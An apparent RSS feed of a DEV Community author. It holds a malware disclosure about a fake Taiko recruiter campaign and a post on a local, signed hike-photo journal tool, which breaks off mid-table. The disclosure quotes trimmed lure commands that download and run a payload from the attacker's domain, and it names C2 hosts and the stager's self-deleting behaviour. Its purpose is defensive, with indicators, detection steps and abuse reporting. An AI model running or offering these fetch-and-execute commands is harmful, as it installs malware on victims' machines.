<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Edison Flores</title>
    <description>The latest articles on DEV Community by Edison Flores (@edison_flores_6d2cd381b13).</description>
    <link>https://dev.to/edison_flores_6d2cd381b13</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4011586%2F59d27a5e-b708-4d17-b346-37dce502454e.png</url>
      <title>DEV Community: Edison Flores</title>
      <link>https://dev.to/edison_flores_6d2cd381b13</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/edison_flores_6d2cd381b13"/>
    <language>en</language>
    <item>
      <title>A fake recruiter sent me a job offer that ended in my terminal — the trojan is still live</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Fri, 09 Oct 2026 00:33:33 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/a-fake-recruiter-sent-me-a-job-offer-that-ended-in-my-terminal-the-trojan-is-still-live-2okf</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/a-fake-recruiter-sent-me-a-job-offer-that-ended-in-my-terminal-the-trojan-is-still-live-2okf</guid>
      <description>&lt;p&gt;Four days after I reported it to AWS, the trojan is still being served.&lt;/p&gt;

&lt;p&gt;On October 5, 2026 I received a recruiting email that looked like every other recruiter email — except it ended with a step no legitimate hiring process has ever asked me for: opening my terminal and pasting a command to "verify I'm not a bot."&lt;/p&gt;

&lt;p&gt;This is the write-up of the campaign, because the payload is &lt;strong&gt;still live as of today (October 9)&lt;/strong&gt;, and because the social-engineering pattern — &lt;em&gt;a job application that ends in Terminal&lt;/em&gt; — is the part your coworkers, your juniors and your family will fall for.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lure
&lt;/h2&gt;

&lt;p&gt;The email claimed to be from "Joseph Quintana, Talent" at &lt;strong&gt;Taiko&lt;/strong&gt; — the Ethereum rollup company — offering a Software Engineer role on based-rollup / ZK proving / L2 systems. It referenced my GitHub profile, it was polite, specific and short. The sending address was &lt;code&gt;josephquintana@hr.taikotalent.xyz&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Two details matter here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Taiko's real domain is &lt;code&gt;taiko.xyz&lt;/code&gt;&lt;/strong&gt; and their real recruiting runs through &lt;code&gt;careers@taiko.xyz&lt;/code&gt;. There is no reference to &lt;code&gt;taikotalent.xyz&lt;/code&gt; anywhere on the real site.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;taikotalent.xyz&lt;/code&gt; was &lt;strong&gt;registered eight days before the email arrived&lt;/strong&gt; (2026-09-27, per RDAP).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The email was sent through &lt;strong&gt;Resend&lt;/strong&gt; and relayed through &lt;strong&gt;Amazon SES in sa-east-1&lt;/strong&gt; (sending IP &lt;code&gt;23.249.215.58&lt;/code&gt;, &lt;code&gt;d215-58.smtp-out.sa-east-1.amazonses.com&lt;/code&gt;). SPF passed. DKIM passed — twice (Resend's signature and amazonses.com's). This is the part defenders need to internalize: &lt;strong&gt;authentication passes only prove the sender controls an 8-day-old domain. They say nothing about intent.&lt;/strong&gt; If your mail filter scores "SPF/DKIM pass" as "safe," this campaign sails through it.&lt;/p&gt;

&lt;p&gt;The target profile: &lt;strong&gt;people with public GitHub profiles.&lt;/strong&gt; The email opens with "I came across your GitHub profile" — the campaign is harvesting open-source developers specifically.&lt;/p&gt;

&lt;h2&gt;
  
  
  The portal
&lt;/h2&gt;

&lt;p&gt;The link goes to a "Private invitation" single-page app gated by per-recipient &lt;code&gt;Ref-&lt;/code&gt; codes. Every step of the form posts to &lt;code&gt;/track-activity&lt;/code&gt;, which exfiltrates a &lt;code&gt;deviceInfo&lt;/code&gt; fingerprint — browser, screen, timezone — on every interaction. The form collects full name, email and &lt;strong&gt;GitHub username&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Then comes the page this whole campaign was built for: &lt;strong&gt;"Anti-bot check with Terminal."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It instructs you to paste one of these into your own terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# macOS / Linux (trimmed)&lt;/span&gt;
bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'perl -MPOSIX -e"fork&amp;amp;&amp;amp;exit;POSIX::setsid;fork&amp;amp;&amp;amp;exit;exec@ARGV"   bash -c "curl -ks https://taikotalent.xyz/verify_m -o verify_m &amp;amp;&amp;amp; exec bash verify_m" &amp;amp;&amp;gt;/dev/null&amp;amp; ...'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="c"&gt;:: Windows (trimmed)&lt;/span&gt;
&lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="na"&gt;-WindowStyle &lt;/span&gt;&lt;span class="kd"&gt;Hidden&lt;/span&gt; &lt;span class="nb"&gt;cmd&lt;/span&gt; &lt;span class="s1"&gt;'/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&amp;amp;&amp;amp;v.cmd'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every component of that command is a red flag wearing a trench coat:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;perl -MPOSIX ... fork&amp;amp;&amp;amp;exit&lt;/code&gt; — a &lt;strong&gt;double-fork daemonization&lt;/strong&gt;: the process detaches from your terminal and survives it closing&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;curl -ks&lt;/code&gt; — the &lt;code&gt;-k&lt;/code&gt; &lt;strong&gt;disables TLS certificate verification&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;amp;&amp;gt;/dev/null&amp;amp;&lt;/code&gt; — silences all output so nothing appears on screen&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;start -WindowStyle Hidden&lt;/code&gt; (Windows) — runs the downloader in a &lt;strong&gt;hidden window&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A job application does not need your terminal. A job application has &lt;strong&gt;never&lt;/strong&gt; needed your terminal. That single sentence is the whole defense, and it's the one to repeat to your team.&lt;/p&gt;

&lt;h2&gt;
  
  
  The payload
&lt;/h2&gt;

&lt;p&gt;I downloaded &lt;code&gt;verify_m&lt;/code&gt; for analysis and &lt;strong&gt;never executed it&lt;/strong&gt; — the methodology throughout was non-destructive: fetch, hash, read. It's a 49,916-byte Bash stager that calls itself &lt;strong&gt;&lt;code&gt;deepfake_guard&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Re-launches itself detached via &lt;code&gt;nohup&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Reports "install success" to a command-and-control endpoint: &lt;code&gt;https://api.gaganata.ink/guard-launcher-result&lt;/code&gt;, with a fallback at &lt;code&gt;https://api.fallgganata.ink&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Decodes an &lt;strong&gt;embedded base64 second stage&lt;/strong&gt; to &lt;code&gt;/var/tmp/.kdm.XXXXXX&lt;/code&gt; and executes it with the C2 endpoints exported as environment variables&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deletes itself&lt;/strong&gt;: launcher, status file and the &lt;code&gt;/var/tmp&lt;/code&gt; artifacts — an anti-forensics loop that retries 60 times&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The second stage is where the actual payload lives; the stager is just the delivery van, and it burns the van after delivery.&lt;/p&gt;

&lt;h2&gt;
  
  
  Status today: still live
&lt;/h2&gt;

&lt;p&gt;I re-checked the infrastructure on &lt;strong&gt;October 9, 2026&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;https://taikotalent.xyz/&lt;/code&gt; (portal)&lt;/td&gt;
&lt;td&gt;Times out&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;https://taikotalent.xyz/verify_m&lt;/code&gt; (trojan)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;HTTP 200 — serving, 49,916 bytes&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;api.gaganata.ink&lt;/code&gt; / &lt;code&gt;api.fallgganata.ink&lt;/code&gt; (C2)&lt;/td&gt;
&lt;td&gt;404 (Cloudflare-fronted)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hr.taikotalent.xyz&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No DNS record anymore&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The payload being served today is &lt;strong&gt;byte-identical&lt;/strong&gt; to the one I quarantined on October 5 — SHA-256 &lt;code&gt;c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d&lt;/code&gt;. The campaign infrastructure is rotting but the weapon is still on the table.&lt;/p&gt;

&lt;h2&gt;
  
  
  What was done about it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;October 5:&lt;/strong&gt; full report to AWS Trust &amp;amp; Safety (case &lt;code&gt;P01M4696RCMDN90PYQGW7NJHGT0&lt;/code&gt; / &lt;code&gt;179121234700301&lt;/code&gt;), to &lt;code&gt;abuse@resend.com&lt;/code&gt; (the sending platform), and to &lt;code&gt;careers@taiko.xyz&lt;/code&gt; — the impersonated company — recommending a public warning from their side.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;October 6:&lt;/strong&gt; 17-page forensic report generated (IoCs, full headers, timeline, SHA-256 of the 10 evidence artifacts): &lt;code&gt;d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;October 7:&lt;/strong&gt; AWS Trust &amp;amp; Safety responded that SES abuse cases go to &lt;code&gt;email-abuse@amazon.com&lt;/code&gt; — resubmitted there with the live-payload status.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Today:&lt;/strong&gt; this disclosure.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The complete IoC set, hashes and attack chain are published here:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://gist.github.com/eddyflores100-lang/198d8a13ba5901ea8ed7c63d5292c6ff" rel="noopener noreferrer"&gt;Full IoC list and evidence — public gist&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The gist contains every indicator: domains, sending IP, the Ref-code format, payload URLs, both C2 endpoints, the &lt;code&gt;/var/tmp/.kdm.*&lt;/code&gt; second-stage path, and the SHA-256 hashes of the payload and the full evidence chain.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to check if you (or your people) were hit
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Received anything from &lt;code&gt;*@hr.taikotalent.xyz&lt;/code&gt; or about an "Engineering opening — Taiko"? Check mail logs — it went through Resend + Amazon SES.&lt;/li&gt;
&lt;li&gt;Ran the "anti-bot check"? Look for: &lt;code&gt;verify_m&lt;/code&gt; / &lt;code&gt;verify_w&lt;/code&gt; / &lt;code&gt;v.cmd&lt;/code&gt; files, &lt;code&gt;/var/tmp/.kdm.*&lt;/code&gt; remnants (the self-delete loop makes absence of evidence weaker), processes detached via a perl double-fork, and egress to &lt;code&gt;*.gaganata.ink&lt;/code&gt; / &lt;code&gt;*.fallgganata.ink&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Block the IoC domains at your resolver / egress now — the list is in the gist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential rotation&lt;/strong&gt; for anything that shared the machine: GitHub PAT, cloud keys, browser sessions. If the second stage is a credential stealer (unverified — I did not detonate), assume exposure.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The takeaway worth repeating
&lt;/h2&gt;

&lt;p&gt;The technical chain here is unremarkable — domain, mail relay, SPA, curl-and-exec. What makes it work is the &lt;strong&gt;context&lt;/strong&gt;: a job offer, aimed at developers, during a period when many of us actually are getting recruiter email about ZK and rollup work.&lt;/p&gt;

&lt;p&gt;The rule to broadcast is one sentence long:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A legitimate job application will never ask you to open your terminal.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;Analysis and disclosure by Edison Flores (AliceLabs). All evidence handled non-destructively — the payload was downloaded for hashing only and never executed. The full forensic report (17 pages, SHA-256 &lt;code&gt;d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c&lt;/code&gt;) is available to defenders, registries and journalists on request. If you're from a mail platform, registry or threat-intel team, the gist has everything you need.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Update — 2026-10-09: mirrors &amp;amp; infrastructure findings
&lt;/h2&gt;

&lt;p&gt;The payload is still being served as I publish this update (00:46 UTC: HTTP 200, 49,916 bytes, SHA-256 unchanged — day 4 after the AWS abuse report).&lt;/p&gt;

&lt;p&gt;Full disclosure is now mirrored in more places, including a proper IoC repository with a YARA rule and MITRE ATT&amp;amp;CK mapping:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;IoC repo:&lt;/strong&gt; &lt;a href="https://github.com/eddyflores100-lang/taikotalent-phishing-iocs" rel="noopener noreferrer"&gt;github.com/eddyflores100-lang/taikotalent-phishing-iocs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitLab mirror:&lt;/strong&gt; &lt;a href="https://gitlab.com/-/snippets/6066323" rel="noopener noreferrer"&gt;gitlab.com/-/snippets/6066323&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Telegraph article:&lt;/strong&gt; &lt;a href="https://telegra.ph/Fake-Taiko-recruiter-trojan-still-live-4-days-after-AWS-abuse-report-10-09" rel="noopener noreferrer"&gt;telegra.ph/Fake-Taiko-recruiter-trojan…&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IoC gist:&lt;/strong&gt; &lt;a href="https://gist.github.com/eddyflores100-lang/198d8a13ba5901ea8ed7c63d5292c6ff" rel="noopener noreferrer"&gt;gist.github.com/eddyflores100-lang/198d8a13…&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Infrastructure findings from RDAP/DNS: both &lt;code&gt;taikotalent.xyz&lt;/code&gt; and the C2 domain &lt;code&gt;gaganata.ink&lt;/code&gt; were registered through &lt;strong&gt;NameCheap&lt;/strong&gt;; the payload is served from &lt;strong&gt;Shock Hosting&lt;/strong&gt; (193.160.32.10); the C2 sits behind &lt;strong&gt;Cloudflare&lt;/strong&gt;. Abuse reports have been filed with all three providers, plus APWG (blocklist intake).&lt;/p&gt;

&lt;p&gt;Reminder — the one-line defense: &lt;strong&gt;a legitimate recruiter will never ask you to paste a command into your terminal.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>malware</category>
      <category>phishing</category>
      <category>infosec</category>
    </item>
    <item>
      <title>Touch Grass: Verified Field Notes From Your Hike (Hacktoberfest Week 1)</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Fri, 09 Oct 2026 00:30:41 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/touch-grass-verified-field-notes-from-your-hike-hacktoberfest-week-1-16pl</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/touch-grass-verified-field-notes-from-your-hike-hacktoberfest-week-1-16pl</guid>
      <description>&lt;h1&gt;
  
  
  Touch Grass: Verified Field Notes From Your Hike (Hacktoberfest Week 1)
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;I built a tool that turns your outdoor photos into a cryptographically verified field journal. Photos never leave your laptop, and the journal can't be tampered with after signing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; #devchallenge #hf26challenge #hacktoberfest #touchgrass&lt;/p&gt;




&lt;h2&gt;
  
  
  What I built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Touch Grass Field Notes&lt;/strong&gt; — a CLI tool that takes a folder of hike photos and produces a verified field journal:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reads EXIF GPS + timestamps from each photo&lt;/li&gt;
&lt;li&gt;Asks a local Gemma 3n model (via Ollama) what it sees in each photo&lt;/li&gt;
&lt;li&gt;Seals the notes + GPS trail into an &lt;code&gt;.aleth&lt;/code&gt; container (Ed25519-signed, hash-linked DAG)&lt;/li&gt;
&lt;li&gt;Generates a Markdown report with OpenStreetMap links + cryptographic verification proof&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The screen time is 5 minutes after the hike. The rest is outside.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I built it
&lt;/h2&gt;

&lt;p&gt;I live in Quito, Ecuador. The Parque Metropolitano Guangüiltagua is a 30-minute walk from my apartment — a 5.4 km² protected forest with eucalyptus groves, bamboo, streams, and viewpoints over the Guayllabamba valley. I hike it almost every weekend.&lt;/p&gt;

&lt;p&gt;Every time I come back, I have 20-50 photos on my phone that I never look at again. The "what was that plant?" question never gets answered. The GPS trail of where I walked is lost in Google Photos' blob.&lt;/p&gt;

&lt;p&gt;I wanted a tool that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Runs locally — photos with GPS coordinates are private&lt;/li&gt;
&lt;li&gt;Uses an open-weight model — not GPT-4V, not Gemini Pro Vision, not Claude&lt;/li&gt;
&lt;li&gt;Produces something verifiable — not just a text file anyone could edit later&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why open matters (the part the judges ask about)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Privacy: photos never leave your machine
&lt;/h3&gt;

&lt;p&gt;Photos with GPS coordinates show where you live, where you walk, where your kids play. Sending them to a cloud vision API means handing that data to a company you don't control.&lt;/p&gt;

&lt;p&gt;This project runs the vision model locally via Ollama. The photo bytes go from your disk to the model running on your CPU/GPU, and back to your disk. No network calls (except the initial model download, which is a one-time thing).&lt;/p&gt;

&lt;h3&gt;
  
  
  Verifiability: Ed25519-signed field notes
&lt;/h3&gt;

&lt;p&gt;This is where &lt;a href="https://github.com/eddyflores100-lang/alethech" rel="noopener noreferrer"&gt;alethech&lt;/a&gt; comes in. Alethech is an open-source (MIT) protocol for cryptographically verifiable agent memory. I'm its author — I built it for AI agent continuity, but it turns out to be perfect for field journals too.&lt;/p&gt;

&lt;p&gt;When you run &lt;code&gt;field_notes.py&lt;/code&gt;, the tool:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Creates an Ed25519 keypair (local, never shared)&lt;/li&gt;
&lt;li&gt;Builds a hash-linked DAG of commits: genesis → field_notes&lt;/li&gt;
&lt;li&gt;Signs each commit with the private key&lt;/li&gt;
&lt;li&gt;Seals everything into a single &lt;code&gt;.aleth&lt;/code&gt; file (scrypt + AES-256-GCM encrypted)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once sealed, the journal cannot be modified without invalidating the signature. You can share the &lt;code&gt;.aleth&lt;/code&gt; file with anyone — they verify it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;alethech verify journal.aleth
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If anyone edits a note after the hike, the verification fails. The hash-linked DAG makes tampering detectable at any depth.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cost: $0
&lt;/h3&gt;

&lt;p&gt;No API keys. No cloud credits. No subscriptions. Ollama runs on a laptop. Alethech is MIT-licensed. The vision model (Gemma 3n 4B) is open-weight and free.&lt;/p&gt;

&lt;h3&gt;
  
  
  Swappability
&lt;/h3&gt;

&lt;p&gt;The vision model is a single function call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# In field_notes.py, the ask_vision_model() function:
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;model&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gemma3n:4b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# ← change this line
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;prompt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;images&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;image_b64&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;stream&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Swap &lt;code&gt;"gemma3n:4b"&lt;/code&gt; for &lt;code&gt;"llava:7b"&lt;/code&gt;, &lt;code&gt;"moondream:1.8b"&lt;/code&gt;, or any open-weight vision model Ollama supports. The rest of the pipeline — EXIF, alethech sealing, markdown report — stays unchanged.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;photos/ ──→ EXIF reader ──→ GPS + timestamps
                ↓
         Ollama (Gemma 3n) ──→ field notes (what the model sees)
                ↓
         alethech .aleth container ──→ Ed25519 signature
                ↓
         Markdown report ──→ OSM links + verification proof
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The pipeline in detail
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1: EXIF extraction&lt;/strong&gt; (&lt;code&gt;piexif&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt;Each photo's EXIF data contains GPS coordinates (latitude/longitude as DMS rationals) and a timestamp. The tool converts these to decimal degrees and links to OpenStreetMap.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Vision model&lt;/strong&gt; (Ollama + Gemma 3n)&lt;/p&gt;

&lt;p&gt;The tool sends each photo (base64-encoded) to the local Ollama instance with a prompt:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;You are a field naturalist. Describe what you see in this photo in one sentence. If you see plants, name them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Gemma 3n 4B is an open-weight vision-language model from Google. It runs locally on CPU (slow, ~30s/photo) or GPU (fast, ~2s/photo). The response is a one-sentence field note.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Alethech sealing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The field notes + GPS trail + photo hashes are committed to an alethech store:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;Store.init()&lt;/code&gt; — creates the on-disk store&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;KeyPair.generate()&lt;/code&gt; — generates Ed25519 signing key&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Identity&lt;/code&gt; — derives a &lt;code&gt;did:alethech:...&lt;/code&gt; agent ID from the public key&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;MemoryCommit&lt;/code&gt; — creates a signed commit with the field notes data&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;seal_store()&lt;/code&gt; — encrypts and exports to a single &lt;code&gt;.aleth&lt;/code&gt; file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;code&gt;.aleth&lt;/code&gt; container is 6 KB for 5 photos. It contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Ed25519 public key (for verification)&lt;/li&gt;
&lt;li&gt;The signed commits (genesis + field notes)&lt;/li&gt;
&lt;li&gt;AES-256-GCM encrypted payload (scrypt-derived key from passphrase)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Markdown report&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A human-readable report with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GPS trail as numbered list with OpenStreetMap links&lt;/li&gt;
&lt;li&gt;Photo notes with timestamps + SHA-256 hashes&lt;/li&gt;
&lt;li&gt;Verification table (container size, agent ID, commit ID, verified status)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;I tested it with 5 photos from a hike through Parque Metropolitano Guangüiltagua in Quito. The trail:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;GPS&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;14:30&lt;/td&gt;
&lt;td&gt;-0.1807, -78.4678&lt;/td&gt;
&lt;td&gt;Bamboo grove at trail entrance, Chusquea species&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;14:45&lt;/td&gt;
&lt;td&gt;-0.1795, -78.4665&lt;/td&gt;
&lt;td&gt;Rocky stream crossing with moss-covered boulders&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;15:10&lt;/td&gt;
&lt;td&gt;-0.1782, -78.4652&lt;/td&gt;
&lt;td&gt;Panoramic vista of the Guayllabamba valley&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;15:25&lt;/td&gt;
&lt;td&gt;-0.1775, -78.4640&lt;/td&gt;
&lt;td&gt;Yellow composite flowers (Asteraceae family)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;15:45&lt;/td&gt;
&lt;td&gt;-0.1790, -78.4660&lt;/td&gt;
&lt;td&gt;Mature eucalyptus grove at trail terminus&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;.aleth&lt;/code&gt; container was sealed in ~0.3 seconds. Verification passes. The report is &lt;a href="//output/journal.md"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Open-source components
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;License&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/eddyflores100-lang/alethech" rel="noopener noreferrer"&gt;alethech&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;Cryptographic sealing + verification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ollama.com" rel="noopener noreferrer"&gt;Ollama&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;Local inference engine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ollama.com/library/gemma3n" rel="noopener noreferrer"&gt;Gemma 3n&lt;/a&gt;&lt;/td&gt;
